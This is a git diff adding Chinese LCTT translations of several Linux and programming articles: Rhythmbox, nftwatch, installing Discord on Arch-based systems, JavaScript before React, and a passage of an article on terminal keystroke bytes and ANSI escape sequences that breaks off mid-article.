+我希望这个指南能帮助你在 Arch Linux 中安装深度桌面。虽然它不是我的日常环境,我觉得深度的桌面在本质上有些慢。可能是因为有太多的颜色渲染和动画,而且尽管它是建立在 Qt 上的,但没有为深度桌面进行适当的优化。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/deepin-arch-linux-install-20/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/2020/09/deepin-20-review/ +[2]: https://archlinux.org/groups/x86_64/deepin/ +[3]: https://www.debugpoint.com/2020/11/install-arch-linux/ +[4]: https://www.archlinux.org/download/ +[5]: https://www.debugpoint.com/2020/05/install-use-gnome-boxes/ +[6]: https://www.debugpoint.com/2020/11/virt-manager/ +[7]: https://www.debugpoint.com/wp-content/uploads/2020/12/fdisk-l-before.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2020/12/cfdisk-1024x159.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2020/12/Swap-parition-type-change.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-cfdisk-1024x178.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2020/12/final-partition-list-in-fdisk.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2020/12/prepare-file-system.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2020/12/Install-base-system-1024x205.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2020/12/change-locale.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2020/12/create-user.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2020/12/update-sudoers-file.jpg +[17]: https://www.debugpoint.com/wp-content/uploads/2020/12/configure-grub-1024x639.jpg +[18]: https://www.debugpoint.com/wp-content/uploads/2021/01/add-deepin-greeter-in-lightdm-login.jpg +[19]: https://www.debugpoint.com/wp-content/uploads/2020/12/Enable-lightdm-and-network-Install-Xfce-Desktop-in-Arch-Linux.jpg +[20]: https://www.debugpoint.com/wp-content/uploads/2021/01/Deepin-20.1-Login-screen-in-Arch-Linux-1024x771.jpg +[21]: https://www.debugpoint.com/wp-content/uploads/2021/01/Deepin-Desktop-20.1-in-Arch-Linux-1024x770.jpg diff --git a/published/202207/20220716 Listen to music on Linux with Rhythmbox.md b/published/202207/20220716 Listen to music on Linux with Rhythmbox.md new file mode 100644 index 0000000000..2fa8c8a204 --- /dev/null +++ b/published/202207/20220716 Listen to music on Linux with Rhythmbox.md @@ -0,0 +1,64 @@ +[#]: subject: "Listen to music on Linux with Rhythmbox" +[#]: via: "https://opensource.com/article/22/7/listen-music-rhythmbox-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14865-1.html" + +在 Linux 上使用 Rhythmbox 听音乐 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/234644f4rgrx1vrpgfk86n.jpg) + +> 下面我将介绍我是如何在 Linux 的 GNOME 桌面上使用 Rhythmbox 听在线音乐和 MP3 列表的。 + +对我来说,在完全安静的环境下工作是很困难的。我需要某种背景音,最好是一些熟悉的音乐。我在音乐上的需求很简单:我只需要一个音乐播放器,可以播放我的 MP3 音乐库和少数几个我喜欢的网站的在线音乐。 + +我在 Linux 上尝试了多个音乐播放器,最终我还是选择了 Rhythmbox。 Rhythmbox 是一个 GNOME 桌面音乐播放器。如果你的 Linux 发行版使用的是 GNOME 桌面,很可能已经安装了 Rhythmbox。它很简单,用来播放我本地的音乐库和广播网站的在线音乐。我很乐意在 Linux 上使用 Rhythmbox 收听在线音乐和我自己的音乐库。 + +### 在 Linux 上收听在线音乐 + +Rhythmbox 支持多个在线音乐服务商。如果你拥有一个 Last.fm 或者 Libre.fm 的帐号,你可以点击左侧的标签登录。或者,你想收听在线广播,点击左侧的“广播Radio”标签,在预设的广播网站中选择一个。在我写代码的时候我通常喜欢听迷幻舞曲,HBR1 Tranceponder 是我最喜欢的一个在线广播网站。 + +![Streaming HBR1 Traceponder][2] + +### 在 Linux 上播放我的音乐库 + +在过去的几年中,我收集了大量的 MP3 音乐。由于几年前 MP3 的专利在美国已经到期,它在 Linux 是一种很好用的开放的音乐格式。 + +我把我 20GB 的 MP3 音乐保存在我的主目录之外,在 `/usr/local/music` 。要把音乐导入 Rhythmbox,点击 “导入Import” 按钮,选择 `usr/local/music` 目录,或者任何你保存音乐的目录,让 Rhythmbox 去识别 MP3 音乐。结束以后点击 “导入列出的曲目Import listed tracks” 按钮导入就完成了。 + +![Use the Import button to add music to Rhythmbox][3] + +![Rhythmbox identifies new music files][4] + +Rhythmbox 可以播放我的音乐,并通过类型,艺术家和专辑组织歌曲,所以我可以很容易找到我想听的音乐。 + +![Listening to a music library in Rhythmbox][5] + +### 旋律永存 + +我愿意在 Linux 上使用 Rhythmbox 作为我的音乐播放器,它是如此简洁,不会影响到我。而且听音乐可以帮我和谐掉日常的噪音,让我每一天都可以过的快一点。 + +*(文内图片来自 Jim Hall,CC BY SA)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/listen-music-rhythmbox-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: https://opensource.com/sites/default/files/2022-07/rhythmbox-hbr1.png +[3]: https://opensource.com/sites/default/files/2022-07/rhythmbox-import1_0.png +[4]: https://opensource.com/sites/default/files/2022-07/rhythmbox-import2.png +[5]: https://opensource.com/sites/default/files/2022-07/rhythmbox-dido-lifeforrent.png diff --git a/published/202207/20220718 Monitor your Linux firewall with nftwatch.md b/published/202207/20220718 Monitor your Linux firewall with nftwatch.md new file mode 100644 index 0000000000..468fb0b8c5 --- /dev/null +++ b/published/202207/20220718 Monitor your Linux firewall with nftwatch.md @@ -0,0 +1,85 @@ +[#]: subject: "Monitor your Linux firewall with nftwatch" +[#]: via: "https://opensource.com/article/22/7/nftwatch-linux-firewall" +[#]: author: "Kenneth Aaron https://opensource.com/users/flyingrhino" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14858-1.html" + +用 nftwatch 监控你的 Linux 防火墙 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/24/070724d542rvbbg3af3o9p.jpg) + +> 我创建了 Linux nftwatch 命令来观察防火墙的流量统计。 + +Netfilter 表([nftables][4])是现代 Linux 发行版中的默认防火墙。它在 Fedora 和 RHEL 8、最新的 Debian 和许多其他版本上都有。它取代了早期发行版中捆绑的旧版 iptables。它是一个强大的、值得的 iptables 替代品,作为一个广泛使用它的人,我欣赏它的能力和功能。 + +nftables 的一个特点是能够为许多元素添加计数器,例如规则。这些都是按需启用的。你需要使用 `counter` 参数,在每一行明确地要求它。我为我的防火墙中的特定规则启用了这些计数器,这使我能够看到这些规则。 + +这让我开始思考。我怎样才能实时查看这些计数器?一开始我尝试了 `watch`,它允许诸如刷新率之类的东西,但我不喜欢默认格式,而且它不能滚动。我发现使用 `head` 和 `tail` 以及 `awk` 也不理想,并不存在一个用户友好的解决方案。所以我自己写了一个,我想与开源社区分享。 + +### Linux 上的 nftwatch 介绍 + +我的解决方案,我称之为 `nftwatch`,做了几件事: + +* 它对 nftables 的输出进行重新排序和改写,使其更具有可读性。 +* 它允许向上或向下滚动输出。 +* 可以由用户定义的刷新率(可以实时改变)。 +* 它可以暂停显示。 + +你得到的不是一个表格的转储,而是显示每个规则活动的输出。 + +![Image of nftwatch][5] + +你可以从它的 [Git 仓库][6]下载它。 + +它是 100% 的 Python 代码,100% 的开源,100% 的免费。它满足了所有免费的高质量程序的要求。 + +### 在 Linux 上安装 nftwatch + +以下是手动安装说明: + +1. 克隆或从 git 仓库下载该项目。 +2. 将 `nftwatch.yml` 复制到 `/etc/nftwatch.yml`。 +3. 将 `nftwatch` 复制到 `/usr/local/bin/nftwatch` 并使用 `chmod a+x` 授予其可执行权限。 +4. 使用 `nftwatch`,不带任何参数来运行它。 +5. 参见 `nftwatch -m` 的手册。 + +你也可以在没有 [YAML][7] 配置文件的情况下运行 nftwatch,在这种情况下它使用内置的默认值。 + +### 使用 + +`nftwatch` 命令显示 nftables 规则。大多数控制都是为此目的而设计的。 + +箭头键和等效的 Vim 的按键控制滚动。使用 `F` 或 `S` 键来改变刷新速度。使用 `P` 键来暂停显示。 + +运行 `nftwatch -m` 以获得完整的说明,以及交互式按键控制的列表。 + +### 防火墙的新观点 + +即使你花费了时间去配置防火墙,它也会显得晦涩难懂和模糊不清。除了从日志条目中推断指标外,很难判断你的防火墙实际看到的活动类型。 使用 `nftwatch`,你可以看到你的防火墙在工作,并且可以更好地了解你的网络每天需要处理的流量类型。 + +*(文内图片来自 Kenneth Aaron,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/nftwatch-linux-firewall + +作者:[Kenneth Aaron][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/flyingrhino +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://developers.redhat.com/blog/2016/10/28/what-comes-after-iptables-its-successor-of-course-nftables?extIdCarryOver=true&sc_cid=701f2000001OH79AAG#getting_started +[5]: https://opensource.com/sites/default/files/2022-07/nftwatch-sample.png +[6]: https://github.com/flyingrhinonz/nftwatch +[7]: https://opensource.com/article/21/9/yaml-cheat-sheet diff --git a/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md b/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md new file mode 100644 index 0000000000..23b855c07d --- /dev/null +++ b/published/202207/20220719 How to Install Discord on Manjaro and Other Arch Linux Derivatives.md @@ -0,0 +1,118 @@ +[#]: subject: "How to Install Discord on Manjaro and Other Arch Linux Derivatives" +[#]: via: "https://itsfoss.com/install-discord-arch-manjaro/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14856-1.html" + +如何在 Manjaro 和其他 Arch Linux 衍生品上安装 Discord 客户端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/23/181625i62zdef7iufup2e6.jpg) + +[Discord][1] 是一个跨平台的应用,可用于语音通话、视频通话、文本消息,以及分享媒体和文件。 + +它在游戏玩家和主播中非常流行。虽然,许多开源项目已经开始使用它来主持他们的社区讨论。你可以找到这类开源社区的 [官方 Discord 服务器][2]。 + +Discord 可以直接从你的网页浏览器访问。安装官方桌面客户端可以让你获得系统通知和集中交流,而不是在多个打开的标签中摸索 Discord 标签。 + +虽然 Discord 为 Ubuntu 提供了 Deb 文件,但在 Arch Linux 上却没有这样的即用型软件包。 + +别担心。在本教程中,我将向你展示两种在 [Arch Linux][3] 及其衍生版本上安装 Discord 的方法。 + +* 通过 [Pacman][4] 安装 Discord(命令行方法,对所有基于 Arch 的发行版有效)。 +* 通过 [Pamac][5] 安装 Discord(GUI 方法,对 Manjaro 和其他一些使用 Pamac 工具的基于 Arch 的发行版有效)。 + +### 方法 1: 通过 pacman 命令安装 Discord + +首先,更新你的系统,因为它是一个滚动发布的版本,[不支持部分升级][6]。 + +在终端输入以下 [pacman 命令][7] 来 [更新你的 Arch Linux 系统][8]。 + +``` +sudo pacman -Syu +``` + +现在你可以通过以下命令安装 Discord 包。 + +``` +sudo pacman -S discord +``` + +安装后,只需从应用菜单中启动应用,然后登录就可以开始使用 Discord。 + +![Discord client in Arch Linux][9] + +**如果你想安装 Discord 的每日构建版本** 来测试即将到来的新功能,请使用以下命令。请注意,它可能并不稳定,所以如果你想要这个版本,请再考虑一下。 + +``` +sudo pacman -S discord-canary +``` + +#### 删除 Discord + +如果你想删除 Discord,使用下面的命令来删除它以及它的依赖关系和配置文件: + +``` +sudo pacman -Rns discord +``` + +如果你选择的是每日构建版本,请使用以下命令将其删除: + +``` +sudo pacman -Rns discord-canary +``` + +这很不错。现在对于不喜欢使用终端的人来说,有一个替代方案。我将在下一节讨论这个问题。 + +### 方法 2:通过 Pamac 安装 Discord + +如果你使用 Arch Linux 的衍生产品,如 [Manjaro Linux][10]、[Garuda Linux][11] 等,你就有一个叫做 Pamac 的图形化软件中心。 + +有了这个图形化的工具,你可以轻松地安装新的应用程序或删除现有的应用,而不必进入终端。 + +从应用程序菜单中启动 Pamac(添加/删除软件)。 + +![pamac menu][12] + +点击“更新Updates”来更新你的系统。 + +![pamac update][13] + +现在点击“浏览Browse”,使用左上方的搜索按钮搜索 “discord”。然后,选择软件包并点击“应用Apply”来安装。 + +![Installing Discord from Pamac][14] + +你可以用 Pamac 来卸载软件包,就像你安装它一样。 + +我希望这个关于在基于 Arch 的 Linux 发行版上安装 Discord 的快速技巧对你有帮助。如果你有任何问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-discord-arch-manjaro/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://discord.com/ +[2]: https://discord.com/open-source +[3]: https://archlinux.org/ +[4]: https://archlinux.org/pacman/ +[5]: https://gitlab.manjaro.org/applications/pamac +[6]: https://wiki.archlinux.org/title/System_maintenance#Partial_upgrades_are_unsupported +[7]: https://itsfoss.com/pacman-command/ +[8]: https://itsfoss.com/update-arch-linux/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/discord.png +[10]: https://manjaro.org/ +[11]: https://garudalinux.org/ +[12]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-menu.png +[13]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-update.png +[14]: https://itsfoss.com/wp-content/uploads/2022/06/pamac-discord.png diff --git a/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md b/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md new file mode 100644 index 0000000000..7369b9a6b1 --- /dev/null +++ b/published/202207/20220720 How much JavaScript do you need to know before learning ReactJS-.md @@ -0,0 +1,77 @@ +[#]: subject: "How much JavaScript do you need to know before learning ReactJS?" +[#]: via: "https://opensource.com/article/22/7/learn-javascript-before-reactjs" +[#]: author: "Sachin Samal https://opensource.com/users/sacsam005" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14874-1.html" + +学习 ReactJS 之前,你需要了解多少 JavaScript? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/29/082104d5zn1xn77r1n8p1n.jpg) + +> 最主要的是要精通 JavaScript,这样你就可以减少 ReactJS 之旅的复杂性。 + +React 是一个建立在 HTML、CSS 和 JavaScript 之上的 UI 框架,其中 JavaScript(JS)负责大部分的逻辑。如果你对变量、数据类型、数组函数、回调、作用域、字符串方法、循环和其他 JS DOM 操作相关的主题有一定了解,这些将极大地加快学习 ReactJS 的步伐。 + +你对现代 JavaScript 的概念将决定你能多快地掌握 ReactJS 的步伐。你不需要成为一个 JavaScript 专家来开始你的 ReactJS 之旅,但就像对食材的了解是任何希望掌握烹饪的厨师所必须的一样,学习 ReactJS 也是如此。它是一个现代的 JavaScript UI 库,所以你需要了解一些 JavaScript。问题是,需要多少? + +### 示例解释 + +假设我被要求用英语写一篇关于“牛”的文章,但我对这种语言一无所知。在这种情况下,为了让我成功地完成任务,我不仅要对主题有概念,还要对指定的语言有概念。 + +假设我获得了一些关于主题(牛)的知识,我如何计算我需要知道多少英语才能写出规定的主题?如果我必须用英语写一篇关于其他复杂话题的文章呢? + +这很难搞清楚,不是吗?我不知道我要写关于这个话题的什么东西,但它可能是任何东西。所以要想开始,我必须要有适当的英语知识,但还不止于此。 + +### 极端现实 + +在开始使用 ReactJS 之前,所需的 JavaScript 数量也是如此。根据我的例子情景,ReactJS 是话题“牛”,而 JavaScript 是英语。要想在 ReactJS 中获得成功,对 JavaScript 的掌握很重要。如果没有适当的 JavaScript 基础,一个人是很难专业地掌握 ReactJS 的。无论我对这个主题有多少知识,如果我不知道语言的基础,我就不能正确地表达自己。 + +### 多少才算够? + +根据我的经验,当你开始你的 ReactJS 之旅时,你应该已经熟悉了: + +* 变量 +* 数据类型 +* 字符串方法 +* 循环 +* 条件式 + +你应该对这些具体的 JavaScript 熟悉。但这些只是最基本的先决条件。当你试图创建一个简单的 React 应用时,你将不可避免地需要处理事件。所以,普通函数、函数表达式、语句、箭头函数的概念,箭头函数和普通函数的区别,以及这两类函数中 `this` 关键字的词义范围,这确实很重要。 + +但问题是,如果我必须使用 ReactJS 创建一个复杂的应用怎么办? + +### 获得启发 + +在 JavaScript 中处理事件、传播操作符、解构、命名导入和默认导入将帮助你理解 React 代码的工作机制。 + +最重要的是,你必须了解 JavaScript 本身背后的核心概念。JavaScript 在设计上是异步的。当出现在文件底部的代码在文件顶部的代码之前执行时,不要惊讶。像 promise、callback、async-await、map、filter 和 reduce 这样的结构,是 ReactJS 中最常见的方法和概念,尤其是在开发复杂的应用时。 + +最主要的是要精通 JavaScript,这样你可以减少 ReactJS 之旅的复杂性。 + +### 越来越好 + +我很容易说出你需要知道的东西,但你去学习它完全是另一回事。大量练习 JavaScript 是必不可少的,但你可能会感到惊讶,我认为这并不意味着你必须等到掌握它。有些概念事先很重要,但你可以在学习过程中学到很多东西。练习的一部分是学习,所以你可以开始使用 JavaScript,甚至是 React 的一些基础知识,只要你以舒适的速度移动并理解在你尝试任何严肃的事情之前做你的“家庭作业”是一个要求。 + +### 立即开始使用 JavaScript + +不要费心等到你了解了 JavaScript 的所有方面。那永远不会发生。如果这样做,你将陷入学习 JavaScript 的永远循环中。你们都知道技术领域是如何不断发展和迅速变化的。如果你想开始学习 JavaScript,请尝试阅读 Mandy Kendall 的介绍性文章 [通过编写猜谜游戏学习 JavaScript][2]。这是一种快速入门的好方法,当你看到了可能的情况,我认为你可能会发现很难停下来。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-javascript-before-reactjs + +作者:[Sachin Samal][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sacsam005 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_women_computing_5.png +[2]: https://opensource.com/article/21/1/learn-javascript diff --git a/published/202207/20220720 What happens when you press a key in your terminal.md b/published/202207/20220720 What happens when you press a key in your terminal.md new file mode 100644 index 0000000000..777f436d96 --- /dev/null +++ b/published/202207/20220720 What happens when you press a key in your terminal.md @@ -0,0 +1,289 @@ +[#]: subject: "What happens when you press a key in your terminal?" +[#]: via: "https://jvns.ca/blog/2022/07/20/pseudoterminals/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14863-1.html" + +当你在终端上按下一个键时会发生什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/110217dlbzqvm9lltkq244.jpg) + +我对终端Terminal是怎么回事困惑了很久。 + +但在上个星期,我使用 [xterm.js][1] 在浏览器中显示了一个交互式终端,我终于想到要问一个相当基本的问题:当你在终端中按下键盘上的一个键(比如 `Delete`,或 `Escape`,或 `a`),发送了哪些字节? + +像往常一样,我们将通过做一些实验来回答这个问题,看看会发生什么 : ) + +### 远程终端是非常古老的技术 + +首先,我想说的是,用 `xterm.js` 在浏览器中显示一个终端可能看起来像一个新事物,但它真的不是。在 70 年代,计算机很昂贵。因此,一个机构的许多员工会共用一台电脑,每个人都可以有自己的 “终端” 来连接该电脑。 + +例如,这里有一张 70 年代或 80 年代的 VT100 终端的照片。这看起来像是一台计算机(它有点大!),但它不是 —— 它只是显示实际计算机发送的任何信息。 + +[![DEC VT100终端][2]][3] + +当然,在 70 年代,他们并没有使用 Websocket 来做这个,但来回发送的信息的方式和当时差不多。 + +(照片中的终端是来自西雅图的 [活电脑博物馆][4] Living Computer Museum,我曾经去过那里,并在一个非常老的 Unix 系统上用 `ed` 编写了 FizzBuzz,所以我有可能真的用过那台机器或它的一个兄弟姐妹!我真的希望活电脑博物馆能再次开放,能玩到老式电脑是非常酷的。) + +### 发送了什么信息? + +很明显,如果你想连接到一个远程计算机(用 `ssh` 或使用 `xterm.js` 和 Websocket,或其他任何方式),那么需要在客户端和服务器之间发送一些信息。 + +具体来说: + + **客户端** 需要发送用户输入的键盘信息(如 `ls -l`)。 + **服务器** 需要告诉客户端在屏幕上显示什么。 + +让我们看看一个真正的程序,它在浏览器中运行一个远程终端,看看有哪些信息会被来回发送! + +### 我们将使用 goterm 来进行实验 + +我在 GitHub 上发现了这个叫做 [goterm][5] 的小程序,它运行一个 Go 服务器,可以让你在浏览器中使用 `xterm.js` 与终端进行交互。这个程序非常不安全,但它很简单,很适合学习。 + +我 [复刻了它][6],使它能与最新的 `xterm.js` 一起工作,因为它最后一次更新是在 6 年前。然后,我添加了一些日志语句,以打印出每次通过 WebSocket 发送/接收的字节数。 + +让我们来看看在几个不同的终端交互过程中的发送和接收情况吧! + +### 示例:ls + +首先,让我们运行 `ls`。下面是我在 `xterm.js` 终端上看到的情况: + +``` +~:/play$ ls +file +~:/play$ +``` + +以下是发送和接收的内容:(在我的代码中,我记录了每次客户端发送的字节:`sent: [bytes]`,每次它从服务器接收的字节:`recv: [bytes]`) + +``` +sent: "l" +recv: "l" +sent: "s" +recv: "s" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +recv: "file\r\n" +recv: "\x1b[~:/play$ " +``` + +我在这个输出中注意到 3 件事: + +1. 回显:客户端发送 `l`,然后立即收到一个 `l` 发送回来。我想这里的意思是,客户端真的很笨 —— 它不知道当我输入`l` 时,我想让 `l` 被回显到屏幕上。它必须由服务器进程明确地告诉它来显示它。 +2. 换行:当我按下回车键时,它发送了一个 `\r'(回车)符号,而不是 `\n'(换行)。 +3. 转义序列:`\x1b` 是 ASCII 转义字符,所以 `\x1b[?2004h` 是告诉终端显示什么或其他东西。我想这是一个颜色序列,但我不确定。我们稍后会详细讨论转义序列。 + +好了,现在我们来做一些稍微复杂的事情。 + +### 示例:Ctrl+C + +接下来,让我们看看当我们用 `Ctrl+C` 中断一个进程时会发生什么。下面是我在终端中看到的情况: + +``` +~:/play$ cat +^C +~:/play$ +``` + +而这里是客户端发送和接收的内容。 + +``` +sent: "c" +recv: "c" +sent: "a" +recv: "a" +sent: "t" +recv: "t" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +sent: "\x03" +recv: "^C" +recv: "\r\n" +recv: "\x1b[?2004h" +recv: "~:/play$ " +``` + +当我按下 `Ctrl+C` 时,客户端发送了 `\x03`。如果我查 ASCII 表,`\x03` 是 “文本结束”,这似乎很合理。我认为这真的很酷,因为我一直对 `Ctrl+C` 的工作原理有点困惑 —— 很高兴知道它只是在发送一个 `\x03` 字符。 + +我相信当我们按 `Ctrl+C` 时,`cat` 被中断的原因是服务器端的 Linux 内核收到这个 `\x03` 字符,识别出它意味着 “中断”,然后发送一个 `SIGINT` 到拥有伪终端的进程组。所以它是在内核而不是在用户空间处理的。 + +### 示例:Ctrl+D + +让我们试试完全相同的事情,只是用 `Ctrl+D`。下面是我在终端看到的情况: + +``` +~:/play$ cat +~:/play$ +``` + +而这里是发送和接收的内容: + +``` +sent: "c" +recv: "c" +sent: "a" +recv: "a" +sent: "t" +recv: "t" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +sent: "\x04" +recv: "\x1b[?2004h" +recv: "~:/play$ " +``` + +它与 `Ctrl+C` 非常相似,只是发送 `\x04` 而不是 `\x03`。很好!`\x04` 对应于 ASCII “传输结束”。 + +### Ctrl + 其它字母呢? + +接下来我开始好奇 —— 如果我发送 `Ctrl+e`,会发送什么字节? + +事实证明,这只是该字母在字母表中的编号,像这样。 + + * `Ctrl+a` => 1 + * `Ctrl+b` => 2 + * `Ctrl+c` => 3 + * `Ctrl+d` => 4 + * ... + * `Ctrl+z` => 26 + +另外,`Ctrl+Shift+b` 的作用与 `Ctrl+b` 完全相同(它写的是`0x2`)。 + +键盘上的其他键呢?下面是它们的映射情况: + + * `Tab` -> 0x9(与 `Ctrl+I` 相同,因为 I 是第 9 个字母) + * `Escape` -> `\x1b` + * `Backspace` -> `\x7f` + * `Home` -> `\x1b[H` + * `End` -> `\x1b[F` + * `Print Screen` -> `\x1b\x5b\x31\x3b\x35\x41` + * `Insert` -> `\x1b\x5b\x32\x7e` + * `Delete` -> `\x1b\x5b\x33\x7e` + * 我的 `Meta` 键完全没有作用 + +那 `Alt` 呢?根据我的实验(和一些搜索),似乎 `Alt` 和 `Escape` 在字面上是一样的,只是按 `Alt` 本身不会向终端发送任何字符,而按 `Escape` 本身会。所以: + + * `alt + d` => `\x1bd`(其他每个字母都一样) + * `alt + shift + d` => `\x1bD`(其他每个字母都一样) + * 诸如此类 + +让我们再看一个例子! + +### 示例:nano + +下面是我运行文本编辑器 `nano` 时发送和接收的内容: + +``` +recv: "\r\x1b[~:/play$ " +sent: "n" [[]byte{0x6e}] +recv: "n" +sent: "a" [[]byte{0x61}] +recv: "a" +sent: "n" [[]byte{0x6e}] +recv: "n" +sent: "o" [[]byte{0x6f}] +recv: "o" +sent: "\r" [[]byte{0xd}] +recv: "\r\n\x1b[?2004l\r" +recv: "\x1b[?2004h" +recv: "\x1b[?1049h\x1b[22;0;0t\x1b[1;16r\x1b(B\x1b[m\x1b[4l\x1b[?7h\x1b[39;49m\x1b[?1h\x1b=\x1b[?1h\x1b=\x1b[?25l" +recv: "\x1b[39;49m\x1b(B\x1b[m\x1b[H\x1b[2J" +recv: "\x1b(B\x1b[0;7m GNU nano 6.2 \x1b[44bNew Buffer \x1b[53b \x1b[1;123H\x1b(B\x1b[m\x1b[14;38H\x1b(B\x1b[0;7m[ Welcome to nano. For basic help, type Ctrl+G. ]\x1b(B\x1b[m\r\x1b[15d\x1b(B\x1b[0;7m^G\x1b(B\x1b[m Help\x1b[15;16H\x1b(B\x1b[0;7m^O\x1b(B\x1b[m Write Out \x1b(B\x1b[0;7m^W\x1b(B\x1b[m Where Is \x1b(B\x1b[0;7m^K\x1b(B\x1b[m Cut\x1b[15;61H" +``` + +你可以看到一些来自用户界面的文字,如 “GNU nano 6.2”,而这些 `\x1b[27m` 的东西是转义序列。让我们来谈谈转义序列吧! + +### ANSI 转义序列 + +上面这些 `nano` 发给客户端的 `\x1b[` 东西被称为“转义序列”或 “转义代码”。这是因为它们都是以 “转义”字符 `\x1b` 开头。它们可以改变光标的位置,使文本变成粗体或下划线,改变颜色,等等。[维基百科介绍了一些历史][7],如果你有兴趣的话可以去看看。 + +举个简单的例子:如果你在终端运行 + +``` +echo -e '\e[0;31mhi\e[0m there' +``` + +它将打印出 “hi there”,其中 “hi” 是红色的,“there” 是黑色的。[本页][8] 有一些关于颜色和格式化的转义代码的例子。 + +我认为有几个不同的转义代码标准,但我的理解是,人们在 Unix 上使用的最常见的转义代码集来自 VT100(博客文章顶部图片中的那个老终端),在过去的 40 年里没有真正改变。 + +转义代码是为什么你的终端会被搞乱的原因,如果你 `cat` 一些二进制数据到你的屏幕上 —— 通常你会不小心打印出一堆随机的转义代码,这将搞乱你的终端 —— 如果你 `cat` 足够多的二进制数据到你的终端,那里一定会有一个 `0x1b` 的字节。 + +### 可以手动输入转义序列吗? + +在前面几节中,我们谈到了 `Home` 键是如何映射到 `\x1b[H` 的。这 3 个字节是 `Escape + [ + H`(因为 `Escape` 是`\x1b`)。 + +如果我在 `xterm.js` 终端手动键入 `Escape` ,然后是 `[`,然后是 `H`,我就会出现在行的开头,与我按下 `Home` 完全一样。 + +我注意到这在我的电脑上的 Fish shell 中不起作用 —— 如果我键入 `Escape`,然后输入 `[`,它只是打印出 `[`,而不是让我继续转义序列。我问了我的朋友 Jesse,他写过 [一堆 Rust 终端代码][9],Jesse 告诉我,很多程序为转义代码实现了一个 **超时** —— 如果你在某个最小的时间内没有按下另一个键,它就会决定它实际上不再是一个转义代码了。 + +显然,这在 Fish shell 中可以用 `fish_escape_delay_ms` 来配置,所以我运行了 `set fish_escape_delay_ms 1000`,然后我就能用手输入转义代码了。工作的很好! + +### 终端编码有点奇怪 + 